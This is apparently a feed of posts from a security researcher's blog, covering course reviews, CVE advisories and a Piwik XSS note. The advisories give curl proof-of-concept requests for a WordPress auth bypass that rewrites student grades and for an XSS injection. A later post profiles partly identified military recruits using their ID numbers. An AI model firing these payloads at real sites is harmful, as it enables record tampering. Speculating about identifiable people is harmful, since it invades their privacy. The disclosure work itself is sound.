Z - Checksum (modulus 9)
</code></pre></div></td></tr></table></div>
<p>Thus an unencrypted duration PIN code which will work for 3 days from 9am 10 Dec 2017 UTC will look like <code>23094207</code>. A 6 digit Y value will be able to encode up to 9 years before overflowing, which I believe is a reasonable lifetime for the lock. </p>
<h1>Encryption</h1>
<p>The next problem is encryption. Without encryption, it would be trivial to reverse engineer the algorithm. Unencrypted PIN code for 9.05am will look like <code>23094216</code>, 9.15am will look like <code>23094234</code>. Encryption is tough. AES would not work. Although encrypting a 64 bit input generates a 64 bit output, the output will contain 0x00-0xff which include letters, non printable characters. It may be tempting to cheat and use a simple substitution cipher, replace 2 with 7, 3 with 0 but it adds little to security if the encryption key is reused. I briefly considered storing a few MBs of random digits to be used as a one time pad on the device but such an encryption scheme would require the PIN code to be used in sequence. </p>
<p>What is required in this case is format-preserving encryption. There is not much literature on it out there and would require a decently skilled cryptographer to implement correctly. It would likely be a Feistal structure with a customized S-box for digits only. </p>
<p>I would propose 1 round of polynumeric substitution. Using the previous example, if the unencrypted PIN code is <code>23094207</code> and the substitution table below is the key, the encrypted PIN code after substitution will be <code>07599304</code>. Of course, each lock should have its own unique substitution table generated during production and saved server side. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span></pre></div></td><td class="code"><div><pre><span></span><code> Substitution
1 2 3 4 5 6 7 8 9 0
1 4 0* 1 3 9 2 8 7 5 6
2 6 2 7* 1 3 9 4 0 5 8
Col 3 0 8 6 3 4 2 1 9 7 5*
No. 4 1 6 4 0 5 8 2 3 9* 7
5 3 2 6 9* 7 5 8 4 0 1
6 9 3* 6 2 5 0 1 4 7 8
7 5 7 4 1 2 3 6 8 9 0*
8 2 0 1 3 5 6 4* 8 9 7
</code></pre></div></td></tr></table></div>
<h1>Additional Notes</h1>
<p>I am aware that the unencrypted PIN code need not be digits only. However, my reasoning for insisting on digits only is that it would be easier to encrypt a plaintext into a ciphertext with an equal or larger ciphertext space. If I used other character in the unencrypted PIN code, I will likely have compression issues at the encryption stage. </p>
<p>I have also considered cycling, which is basically AES encrypting multiple rounds until I encounter a ciphertext which is all digit only. Given that the AES can output 255 unique possibilities and there are only 10 digits, it might take quite a while. </p>
<p>There is no point performing multiple rounds of substitution and permutation, unless there are bit level operations, otherwise, it can be simplified into a single substitution table. </p>
<p>The blog <a href="//www.igloohome.co/blog/how-it-works/smart-digital-lock-without-internet/">post</a> alluded to using time based security tokens to generate a one time password. I could not figure out how it will work out since the PIN codes have to work over a period of time. It is probably just an analogy for the public. </p>SANS SEC660 review2017-11-04T21:46:00+08:002017-11-04T21:46:00+08:00Benjamin Limtag:limbenjamin.com,2017-11-04:/articles/SANS-SEC660-review.html<h1>SEC660</h1>
<p>I recently had the opportunity to attend the SANS SEC660 course held in Singapore in October 2017. The course was conducted by Tim Medin and covered advanced penetration testing and exploit writing. SEC660 started off introducing ARP spoofing, SSL striping and IPv6 router advertisements MITM attacks. It would have …</p><h1>SEC660</h1>
<p>I recently had the opportunity to attend the SANS SEC660 course held in Singapore in October 2017. The course was conducted by Tim Medin and covered advanced penetration testing and exploit writing. SEC660 started off introducing ARP spoofing, SSL striping and IPv6 router advertisements MITM attacks. It would have been perfect if there was a lab on NBNS/LLMNR spoofing, ARP spoofing is well known and network administrators are already using port security to bind a MAC address to a particular switch port. Day 2 in my opinion was not as useful, exploiting improper cryptographic implementations in the wild are not as yielding and at most likely to provide unauthorized access to a certain resource or maybe partial disclosure of a cookie. It is unlikely to result in RCE and also involves a lot of guesswork. Day 3 was interesting, fuzzing is a good black box method to find vulnerabilities. After all, computer time is cheap while researcher's time is costly. </p>
<p>Day 4 and 5 was the main course. We covered buffer overflows and the methods to defeat different types of protection mechanisms. Fortunately, I was already familiar with the basics of buffer overflow, otherwise I would not have been able to catch up. It was challenging and I spent the evenings practising the techniques at home in preparation for the CTF on day 6. The CTF on day 6 was not as difficult as I expected, as a pen tester, I used a pen testing approach to tackle the challenges. Perhaps our opponents were weak, but I was able to maintain a comfortable lead throughout and finished with the challenge coin. On hindsight, maybe I should have skimped on the practice and attended NetWars Core instead. </p>
<p>Having gone through the OSCP course, I feel that SEC660 perfectly complements where OSCP left off. OSCP focused on enumeration and adapting public exploits, the labs expressly forbidded us from launching MITM attacks. SEC660 starts off with MITM attacks. OSCP only covered simple buffer overflow and the JMP ESP technique. SEC660 expanded on that and covered ret2libc, repairing stack canaries and introduced ROP.</p>
<p>CTF Tips: The weak hack the challenges, the strong hack the machines, the strongest hack the players. Think of how you can leverage the other players who are logged onto the same machine and tackling the same challenges.</p>
<h1>NetWars Defense</h1>
<p>NetWars Defense was a whole different story. The competition was strong, really strong. A SANS record was broken. For the first time, someone managed to finish the entire CTF. In most other competitions in the US, the winning score is around 600. A score of 600 would not even place you in the Top 10 in Singapore. Given my lack of experience in defense, I struggled quite a bit with some of the tools used. At the end of the first day, I ranked 13th on the leaderboard, just out of coin territory. The second day was an even greater struggle, the competition was so strong that you had to complete a number of questions in the final level to get into the Top 10. I finished 6th with a score of 681. </p>
<h1>Bonus</h1>
<p>2 of 2 coins One. I mean won.</p>
<p><img alt="sec660" src="//limbenjamin.com/media/sec660.jpg"></p>
<p><img alt="netwars defense" src="//limbenjamin.com/media/netwarsdef.jpg"></p>Piwik - Possible XSS in RDNS lookup function2017-10-22T21:59:00+08:002017-10-22T21:59:00+08:00Benjamin Limtag:limbenjamin.com,2017-10-22:/articles/piwik-possible-xss-in-rdns-lookup-function.html<p>The possible XSS vulnerability can be found in version 3.1.1 of the Piwik software itself. The getHostname() function in piwik/vendor/piwik/network/src/IP.php does not sanitize the hostname before returning the value. This results in a possible XSS if Piwik itself or any plugins use …</p><p>The possible XSS vulnerability can be found in version 3.1.1 of the Piwik software itself. The getHostname() function in piwik/vendor/piwik/network/src/IP.php does not sanitize the hostname before returning the value. This results in a possible XSS if Piwik itself or any plugins use the output from the function without further sanitization.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span></pre></div></td><td class="code"><div><pre><span></span><code># piwik\vendor\piwik\network\src\IP.php
104 public function getHostname()
105 {
106 $stringIp = $this->toString();
107
108 $host = strtolower(@gethostbyaddr($stringIp));
109
110 if ($host === '' || $host === $stringIp) {
111 return null;
112 }
113
114 return $host;
115 }
</code></pre></div></td></tr></table></div>
<h2>Attack steps</h2>
<p>As described by another security researcher <a href="http://zoczus.blogspot.sg/2014/05/how-reverse-dns-can-help-us-with-xss.html">here</a>, an attacker will need to be in control of an IP address where he can set the RDNS hostname to return JS script tags. After that, the attacker tunnels his traffic through that IP address and visits the target site. The getHostname() function will then resolve the IP address and obtain the JS code. Since it is not sanitized, any function which directly stores or displays the hostname will be susceptible to XSS.</p>
<h2>Impact</h2>
<p>Fortunately, to the best of my knowledge, none of the Piwik software itself directly stores or displays the hostname. Hence, Piwik software itself is not vulnerable. However, at least one Piwik marketplace plugin is vulnerable. The IP 2 Hostname plugin (https://plugins.piwik.org/Ip2Hostname) will directly store the JS code into the database. If it is displayed in a twig template with |raw filter, the code will be executed. I have not tested all plugins, hence I do not know if there are other plugins which are also vulnerable.</p>
<h2>Testing</h2>
<p>Due to the difficulty in obtaining an IP address with the possibility of setting valid JS as the RDNS hostname, it can be tested by poisoning the /etc/hosts file on the machine running Piwik. In the case below, visiting a website with Piwik and the IP 2 Hostname plugin activated from a machine with IP 192.168.1.100 will cause the hostname to be resolved as the JS code and stored into the database.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>cat /etc/hosts
127.0.0.1 localhost
192.168.1.100 <script>alert("1");</script>
</code></pre></div></td></tr></table></div>
<p><img alt="image" src="//limbenjamin.com/media/piwikrdns.png"></p>
<h2>Remediation</h2>
<p>Since it does not seem to have any direct impact, the piwik team have decided to create a public issue in the repository of the project <a href="https://github.com/piwik/component-network/issues/8">here</a> and will address the issue in future.</p>CVE-2017-14766 Simple Student Result < 1.6.4 - Auth Bypass2017-09-21T19:14:00+08:002017-09-21T19:14:00+08:00Benjamin Limtag:limbenjamin.com,2017-09-21:/articles/simple-student-result-auth-bypass.html<p>Exploit Title: Simple Student Result < 1.6.4 - Auth Bypass<br>
Google Dork: inurl:wp-content/plugins/simple-student-result<br>
Date: 21-Sep-17<br>
Exploit Author: Benjamin Lim<br>
Vendor Homepage: https://ssr.saadamin.com/<br>
Software Link: https://wordpress.org/plugins/simple-student-result/<br>
Version: < 1.6.4<br>
Tested on: Kali Linux 2.0<br>
CVE : CVE-2017-14766 </p>
<h1>1. Product & Service …</h1><p>Exploit Title: Simple Student Result < 1.6.4 - Auth Bypass<br>
Google Dork: inurl:wp-content/plugins/simple-student-result<br>
Date: 21-Sep-17<br>
Exploit Author: Benjamin Lim<br>
Vendor Homepage: https://ssr.saadamin.com/<br>
Software Link: https://wordpress.org/plugins/simple-student-result/<br>
Version: < 1.6.4<br>
Tested on: Kali Linux 2.0<br>
CVE : CVE-2017-14766 </p>
<h1>1. Product & Service Introduction:</h1>
<p>Simple Student Result is a Wordpress plugin for managing student results. Administrators can create/update/delete results while unauthenticated users can lookup results by providing a student id number. As of now, the plugin has been downloaded 12,000 times and has 700+ active installs. </p>
<h1>2. Technical Details & Description:</h1>
<p>Authentication Bypass vulnerability in the Wordpress Simple Student Result plugin 1.6.3 allows unauthenticated attackers to update or delete student records with knowledge of only the student id number. The fn_ssr_add_st_submit() function and fn_ssr_del_st_submit() function in functions.php did not check if the current request is made by an authorized user, thus allowing any unauthenticated user to modify the records.</p>
<h1>3. Proof of Concept (PoC):</h1>
<p>To update student id 123's CGPA to 5.0: <br>
<code>curl -i -s -k -X 'POST' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Referer: http://localhost/wp-admin/admin.php?page=ssr_add_results' --data-binary 'action=ssr_add_st_submit&rid=123&rn=456&stn=john&stfn=smith&stpy=2017&stcgpa=5.00&stsub=Subject+3&stpy2=01011990&stpy3=male&stpy4=address&stpy5=smith&stpy6=extra1&stpy7=extra2&upload_image=' 'https://localhost/wp-admin/admin-ajax.php'</code></p>
<h1>4. Mitigation</h1>
<p>Update to version 1.6.4 </p>
<h1>5. Disclosure Timeline</h1>
<p>2017/09/20 Vendor contacted<br>
2017/09/20 Vendor responded<br>
2017/09/21 Update released<br>
2017/09/21 Advisory released to the public </p>
<h1>6. Credits & Authors:</h1>
<p>Benjamin Lim - [https://limbenjamin.com] </p>CVE-2017-14126 Participants Database < 1.7.5.10 - XSS2017-09-06T08:00:00+08:002017-09-06T08:00:00+08:00Benjamin Limtag:limbenjamin.com,2017-09-06:/articles/cve-2017-14126-participants-database-xss.html<p>Exploit Title: Wordpress Plugin Participants Database < 1.7.5.10 - XSS<br>
Google Dork: inurl:wp-content/plugins/participants-database/<br>
Date: 01-Sep-17<br>
Exploit Author: Benjamin Lim<br>
Vendor Homepage: https://xnau.com/<br>
Software Link: https://wordpress.org/plugins/participants-database/<br>
Version: 1.7.5.9<br>
Tested on: Kali Linux 2.0<br>
CVE : CVE-2017-14126 </p>
<h1>1. Product …</h1><p>Exploit Title: Wordpress Plugin Participants Database < 1.7.5.10 - XSS<br>
Google Dork: inurl:wp-content/plugins/participants-database/<br>
Date: 01-Sep-17<br>
Exploit Author: Benjamin Lim<br>
Vendor Homepage: https://xnau.com/<br>
Software Link: https://wordpress.org/plugins/participants-database/<br>
Version: 1.7.5.9<br>
Tested on: Kali Linux 2.0<br>
CVE : CVE-2017-14126 </p>
<h1>1. Product & Service Introduction:</h1>
<p>Participants Database is a Wordpress plugin for managing a database of participants, members or volunteers. As of now, the plugin has been downloaded 320,000 times and has 10,000+ active installs. </p>
<h1>2. Technical Details & Description:</h1>
<p>Cross site scripting (XSS) vulnerability in the Wordpress Participants Database plugin 1.7.59 allows attackers to inject arbitrary javascript via the Name parameter.<br>
The XSS vulnerability is found on the participant signup form input textfield. The get_field_value_display() function in PDb_FormElement.class.php did not escape HTML special characters, allowing an attacker to input javascript. The XSS code will be executed on 2 pages. </p>
<p>1) The "Thank you for signing up" page immediately after submitting the form.<br>
2) The page which is configured to output the list of participants with the [pdb_list] shortcode. </p>
<h1>3. Proof of Concept (PoC):</h1>
<p><code>curl -k -F action=signup -F subsource=participants-database -F shortcode_page=/?page_id=1 -F thanks_page=/?page_id=1 -F instance_index=2 -F pdb_data_keys=1.2.9.10 -F session_hash=0123456789 -F first_name=<script>alert("1");</script> -F last_name=a -F email=a@a.com -F mailing_list=No -F submit_button=Submit http://localhost/?page_id=1</code></p>
<p>To trigger manually, browse to the page, input the following in the form and click Sign Up.<br>
First Name: <script>alert("1");</script><br>
Last Name: test<br>
Email: test@test.com </p>
<h1>4. Mitigation</h1>
<p>Update to version 1.7.5.10 </p>
<h1>5. Disclosure Timeline</h1>
<p>2017/09/01 Vendor contacted<br>
2017/09/02 Vendor responded<br>
2017/09/03 Update released<br>
2017/09/06 Advisory released to the public </p>
<h1>6. Credits & Authors:</h1>
<p>Benjamin Lim - [https://limbenjamin.com] </p>OSCP review2017-08-24T10:19:00+08:002017-08-24T10:19:00+08:00Benjamin Limtag:limbenjamin.com,2017-08-24:/articles/oscp-review.html<p>Having passed my OSCP exam last week, I thought it would be good for me to share my thoughts with OSCP aspirants out there. A little bit on my background first. I have a bachelors degree in computing specialising in information security and have worked as a network pen tester …</p><p>Having passed my OSCP exam last week, I thought it would be good for me to share my thoughts with OSCP aspirants out there. A little bit on my background first. I have a bachelors degree in computing specialising in information security and have worked as a network pen tester for slightly over a year. I consider myself proficient with both Windows and Linux. </p>
<h1>Lab</h1>
<p>I bought the 90 day package after reading online reviews from other OSCP candidates. Offensive Security recommends going through the course materials first before starting on the lab. However, after a quick glance at the materials, I realised that I was already familiar with most of it. Hence, I dove straight into the lab, only referring back to the course materials on subjects which I am less familiar with. All in, it took me 57 days to root all 50+ lab machines. I paused for 8 days in the middle to complete the exercises so it actually took 49 days. I spent approximately 4 hours every weekday and the entire day on weekends rooting these machines. I had a few cheat days where I took a break from the OSCP but by and large stuck to my regimen of rooting 1 machine every weekday, or at least obtain a low priv shell. Being disciplined and sticking to a routine is important if you want to root all the machines.</p>
<p>I would recommend:<br>
1. 30 day package - Experienced pen tester interested in certification only. (you wont have time to root all lab machines)<br>
2. 60 day package - Experienced pen tester or working on the course full time.<br>
3. 90 day package - Everyone else. </p>
<h1>Exam</h1>
<p>I managed to pass the exam on my first try. You will want to book early since the slots get taken up quite quickly. I started my exam at 6am and got the first machine within 30 minutes. With the low hanging fruit done, I then focused on the other machines, alternating between them every hour or so when I get stuck. I managed to get a low priv shell before lunch. After lunch, I worked on the buffer overflow machine and completed it within an hour. By 4pm, I managed to get a second low priv shell on another machine, and escalated that machine within the next 30 minutes since the privesc vector was rather obvious. I then alternated among the other machines but could not get any further. I decided to call it a day at 10pm, after 6 hours with no results. With the 5 bonus points from the lab report, I estimated my score to be 70-80, enough for a pass. I submitted my report the next day at 3pm and received the good news via email at midnight the following day. </p>
<h1>Advice</h1>
<h2>Start small to big</h2>
<p>When looking for vulns, start from the smallest possible module. Start looking at the Wordpress plugins, followed by Wordpress Core itself, and end off with apache web server. Wordpress plugins have a userbase of tens to hundreds, Wordpress is used by millions, apache runs 40% of the web. If there were to be a vuln, it is most likely found in code that is rarely deployed with almost nobody auditing it. Popular frameworks and software are likely to have higher code quality. </p>
<h2>Understand errors</h2>
<p>When running privesc exploits, you need to know which errors are fixable and which are not, so as not to waste time trying to fix unfixable errors. Unfortunately, this is something that comes with general working knowledge of OSes. For example, the error message <code>/lib/libc.so.6 version 'glibc_2.17' not found</code> is a fixable error. It means that you compiled your exploit on a machine with a newer version of glibc as compared to the target. Since glibc is not forward compatible, the binary fails to execute. Check the target's version of glibc using <code>ldd --version</code> and recompile on a machine with an older or equivalent version of glibc. </p>
<p>The error message <code>kernel lacks CAN packet family support</code> is not fixable. The kernel was compiled without certain flags enabled or certain modules were not loaded, hence it is not vulnerable to this exploit. No amount of fiddling will make this exploit work. Beginners will make the mistake of wasting valuable time trawling through the repos finding the exact module, or worse compiling it themselves. After bringing in the module, they will try to <code>insmod</code> it and realise that only root can load kernel modules, then they will go on to google for an exploit to load kernel modules as a low priv user. Therefore, it is important to understand error messages so you do not miss out on escalation vectors which would have worked, or go down a rabbit hole trying to fix something unfixable.</p>
<p>** That said, there are a number of kernel exploit authors who only leave unhelpful comments such as <code>props to so and so, uber, leetz, do the thang</code> and so on. Kernel code is difficult to understand. I will admit that I am not at that level yet and will usually move on if I cannot decipher the error message. </p>
<h2>Give up</h2>
<p>This seems contrary to Offensive Security's motto of "Try Harder", but learning when to give up is equally important. There are lab machines which are not directly exploitable, no amount of enumeration will help. You will need to give up and move on. Eventually, you will find the key to that machine in another machine. Similarly, some of the exam machines are much harder than the others. You will need to know when to give up and move on to another machine. Spending too much time on that machine may eventually cause you to miss out on valuable points from other machines.</p>
<p>Good Luck!</p>Enumerate sites hosted on same IP2017-06-11T15:43:00+08:002017-06-11T15:43:00+08:00Benjamin Limtag:limbenjamin.com,2017-06-11:/articles/enumerate-sites-hosted-on-same-ip.html<p>Enumerating sites which are hosted on the same IP address can sometimes tell us a lot about a server. Is it shared hosting? Is it a legitimate server which was compromised for C2 operations? Does the site owner have any other shady business dealings on the side? I am aware …</p><p>Enumerating sites which are hosted on the same IP address can sometimes tell us a lot about a server. Is it shared hosting? Is it a legitimate server which was compromised for C2 operations? Does the site owner have any other shady business dealings on the side? I am aware that there are sites out there which index the IP address and domain name to provide such a service. However, for this article, I will be touching on manual methods to enumerate these sites.</p>
<h1>Subject Alternative Name</h1>
<p><img alt="image" src="//limbenjamin.com/media/ssl_alt_name.jpg"></p>
<p>A single SSL cert can be valid for multiple domain names. This method is the easiest as you just need to inspect the cert with a web browser. Such a practice is likely to be done by hobby webmasters. E.g. the boss of a small IT shop might use his company server to host a fan site dedicated to his favourite football team. To prevent such links, webmasters can simply register separate certs for each website they are hosting. This used to be costly since the certs have to be renewed on a regular basis but Lets Encrypt has put that to rest. </p>
<h1>Apache Default Vhost</h1>
<p>An apache installation will by default serve up the first vhost if a suitable <code>ServerAlias</code> cannot be found. To exploit this, you could <code>nslookup</code> the IP address and attempt to directly visit it in the browser. However, some webmasters might have configured IP-based virtual hosting. To circumvent that, one method I have found to be useful is to register a free DDNS address and point it at that IP and subsequently visit that address in your browser. To prevent such an occurence, webmasters should create a catchall vhost to sinkhole all unknown DDNS addresses pointed to their IP. Take note that the sinkhole vhost has to be the last vhost so it does not sinkhole your actual domain traffic. </p>
<h1>No SNI support</h1>
<p>An apache installation will also by default serve up the first vhost to a client which does not support SNI. To simulate a such a client, you can run <code>openssl s_client -connect domain.com:443</code>. The previous <code>sinkhole</code> vhost will not work in this case because it has to be the last vhost. In such a case, the webmaster should also register a non-existent domain as the first vhost so as to sinkhole non SNI supported traffic.</p>
<h1>Summary</h1>
<p>The final vhost configuration should look like this.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span></pre></div></td><td class="code"><div><pre><span></span><code> aacatch-nosni-443.conf
ServerName non.existent.domain
limbenjamin-443.conf
ServerName limbenjamin.com
supersecretsite-443.conf
ServerName supersecretsite.com
zzcatchall-443.conf
ServerAlias *
</code></pre></div></td></tr></table></div>
<p>With such a configuration, visitors who visit supersecretsite.com will not be able to find my personal domain and thus not know who is behind the website. Similarly, visitors to my personal domain will not know the existence of supersecretsite.com. All No SNI visitors will be sinkholed by <code>aacatch-nosni-443</code> while all other random DDNS visitors will be sinkholed by <code>zzcatchall-443</code>. To reiterate, I cannot put <code>zzcatchall-443</code> right at the top because it will also sinkhole <code>limbenjamin.com</code> and <code>supersecretsite.com</code>. Apache loads config files by alphabetical order, hence I prepended <code>zz</code> to the config to ensure it is the last to be loaded. </p>Remote Command Execution on Google Assistant2017-04-29T13:03:00+08:002017-04-29T13:03:00+08:00Benjamin Limtag:limbenjamin.com,2017-04-29:/articles/remote-command-execution-on-google-assistant.html<p>Recently, Burger King took out a TV advert and used Google voice assistant's "OK google" command to <a href="https://www.theguardian.com/business/2017/apr/12/burger-king-ok-google-commercial">make devices read out a paragraph on the whopper burger.</a> While most news reports take a rather cavalier attitude, treating it as a prank, this is actually remote command execution. The attacker is …</p><p>Recently, Burger King took out a TV advert and used Google voice assistant's "OK google" command to <a href="https://www.theguardian.com/business/2017/apr/12/burger-king-ok-google-commercial">make devices read out a paragraph on the whopper burger.</a> While most news reports take a rather cavalier attitude, treating it as a prank, this is actually remote command execution. The attacker is able to remotely force a device to execute a command. This is no different from a SQL injection where an attacker is able to cause SQL commands to be executed. Although this is not remote code execution, the attacker actually does not need arbitrary code, the built-in commands are good enough to cause quite a bit of mischief. </p>
<p>Case in point. </p>
<p><code>OK google, Wake me up at 3am everyday</code> - Mild inconvenience...<br>
<code>OK google, Schedule an event "grandma's birthday" next tuesday at 7pm</code> - Mild embarrassment...<br>
<code>OK google, Call 911</code> - DDOS...<br>
<code>OK google, Text my girlfriend "Let's breakup"</code> - Oops...<br>
<code>OK google, open malicioussite.com</code> - If done in conjuction with a browser 0 day... </p>
<p>A massive phone botnet or a DDOS attack for the price of a TV or radio advert is well worth it. <a href="http://ok-google.io/">Complete list</a> of OK google commands. Also applicable to the Amazon Echo. </p>Is DarkTrace working with the NSA?2017-04-08T21:42:00+08:002017-04-08T21:42:00+08:00Benjamin Limtag:limbenjamin.com,2017-04-08:/articles/is-darktrace-working-with-the-nsa.html<p>DarkTrace is "led by leading government cyber intelligence officials from MI5, NSA and the CIA." Hmm...<br>
He also seems to have no idea that he has been trolled.</p>
<p><img alt="image" src="//limbenjamin.com/media/darktrace.png"></p>Analysis of 3000 BMT Recruits2017-03-12T14:44:00+08:002017-03-12T14:44:00+08:00Benjamin Limtag:limbenjamin.com,2017-03-12:/articles/analysis-of-3000-BMT-recruits.html<p>Have you ever wondered how old is the average BMT recruit? How many are new citizens? The article will explore a dataset of 3287 recruits from the 01/17 batch and present both facts as well as conjectures which I made. In the dataset, there are a total of 4534 …</p><p>Have you ever wondered how old is the average BMT recruit? How many are new citizens? The article will explore a dataset of 3287 recruits from the 01/17 batch and present both facts as well as conjectures which I made. In the dataset, there are a total of 4534 profile photos of these recruits of which 3287 were tagged with unique NRIC numbers. I will be using these 3287 photos and NRIC numbers in the analysis.</p>
<div class="admonition danger">
<p class="admonition-title">Disclaimer</p>
<p>This data was obtained from a public source. BMTC Media Team posted these photos on Google Drive and shared the link on the official BMTC public Facebook page. I downloaded the entire dataset as a ZIP file in one single request. I did not use a script or perform any action which is illegal or against the Terms of Service in any way. This analysis is entirely my own idea, neither my employer nor MINDEF/BMTC is involved in any way. I am not responsible for any inaccuracies in the data.</p>
</div>
<h2>Analysis</h2>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>----------------------------------------------------
First 3 characters of NRIC number
----------------------------------------------------
S88xxxxxx 1 S95xxxxxx 252
S90xxxxxx 1 S96xxxxxx 524
S91xxxxxx 7 S97xxxxxx 365
S92xxxxxx 29 S98xxxxxx 1965
S93xxxxxx 48 S99xxxxxx 18
S94xxxxxx 77
</code></pre></div></td></tr></table></div>
<p>As expected, majority of the BMTC recruits (born in 1998) went through the JC route and hence enlisted at age 19. A smaller number (born in 1996/1997) went through the Polytechnic route. Those born between 1992 and 1995 probably went through Sec 5/ITE followed by Polytechnic and thus enlisted later. A significant number of the older recruits born before 1994 are females who have probably completed their degree program and are on the officer's scheme. The outliers will be covered in the next section <code>BMTC: Our life stories</code></p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span></pre></div></td><td class="code"><div><pre><span></span><code>----------------------------------------------------
4th characters of NRIC number
----------------------------------------------------
Sxx0xxxxx 751 Sxx5xxxxx 0
Sxx1xxxxx 606 Sxx6xxxxx 0
Sxx2xxxxx 656 Sxx7xxxxx 223
Sxx3xxxxx 635 Sxx8xxxxx 0
Sxx4xxxxx 368 Sxx9xxxxx 48
</code></pre></div></td></tr></table></div>
<p>Most of us would know that NRIC numbers are issued from 0 onwards. Since Singapore has had about 40,000+ births or so every year in the 1990s, it makes sense for the numbers for <code>0, 1, 2, 3</code> to be relatively similar and for <code>4</code> to be less. <code>7</code> is issued to new citizens. <code>9</code> is issued to Singaporeans/PRs born overseas but have rights to be Singaporean/PRs. As we can see, the overwhelming majority of those serving NS are Singaporeans/PRs born in Singapore, only 223 are new citizen/PR converts and 48 who were born overseas.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>----------------------------------------------------
NRIC check digit
----------------------------------------------------
SxxxxxxxA 313 SxxxxxxxG 333
SxxxxxxxB 321 SxxxxxxxH 284
SxxxxxxxC 283 SxxxxxxxI 286
SxxxxxxxD 273 SxxxxxxxJ 286
SxxxxxxxE 287 SxxxxxxxZ 328
SxxxxxxxF 293
</code></pre></div></td></tr></table></div>
<p>The NRIC check digit is generated using a weighted modulo 11 algorithm. Thus, this exercise shows that the algorithm generates check digits with a relatively good spread, perhaps with slight biases for <code>G</code> and <code>Z</code>.</p>
<h2>BMTC: Our life stories</h2>
<div class="admonition danger">
<p class="admonition-title">Disclaimer</p>
<p>The stories below are purely conjectures. Photos and full NRIC numbers are not posted to preserve their privacy. This section aims to illustrate how just a few pieces of data can actually be used to draw a surprisingly large number of conclusions.</p>
</div>
<p>REC Faiz (S9990XXXJ) was born overseas to Singaporean parents. He scored poorly in his O level exams and decided to work instead of going for further studies. He received his enlistment notice at age 18. He is one of the youngest recruits not only at A Coy Platoon 2, but throughout the entire BMTC.</p>
<p>At 29, this female recruit (S8812XXXZ) is by far the oldest recruit. The next oldest recruit is 27 and also female. Due to the positioning of her name tag, I cannot discern her surname, but lets call her REC Ng. REC Ng is a university graduate. Unfortunately she was retrenched last year amidst the recession. Unable to find a job for nearly a year, she bit the bullet and joined the SAF. While it is quite demeaning for her to transit from junior management into a recruit, at least she draws a comfortable $3,000+ per month.</p>Replicating UVB-762017-02-18T11:00:00+08:002017-02-18T11:00:00+08:00Benjamin Limtag:limbenjamin.com,2017-02-18:/articles/replicating-uvb-76.html<p>For the uninitiated, UVB-76 is a station that broadcasts coded messages over AM radio. It is still active with messages transmitted as recently as Oct 2016 and is speculated to be related to the Russian military. The transmission and tone generation equipment are from the analog era, hence I was …</p><p>For the uninitiated, UVB-76 is a station that broadcasts coded messages over AM radio. It is still active with messages transmitted as recently as Oct 2016 and is speculated to be related to the Russian military. The transmission and tone generation equipment are from the analog era, hence I was interested to see if I could replicate the transmissions using today's technology. </p>
<p>The buzzer tones which are used to occupy the frequency can be generated by <code>ebook2cw</code>, a linux utility which converts text into recorded morse code. The morse code equivalent for <code>0</code> is five dashes, and we will be using that for the tone. After playing around, I decided on 3 words/min and a frequency of 220Hz. The entire command is <code>echo 0 | ebook2cw -w 3 -f 220 -o /dev/dsp</code>. The original station broadcasts a continuous interrupting tone at the 59th minute of every hour, this would be trivial to generate and a little boring to be honest. I decided on broadcasting epoch time using a variation of the command above, increasing the words/min and frequency to differentiate it from the buzzer, <code>date +%s | ebook2cw -w 8 -f 440 -o /dev/dsp</code></p>
<h1>Pseudo Code</h1>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>while true
do
If [ date +"%M" != 59 ]
then
echo 0 | ebook2cw -w 3 -f 220 -o /dev/dsp
else
date +%s | ebook2cw -w 8 -f 440 -o /dev/dsp
fi
done
</code></pre></div></td></tr></table></div>
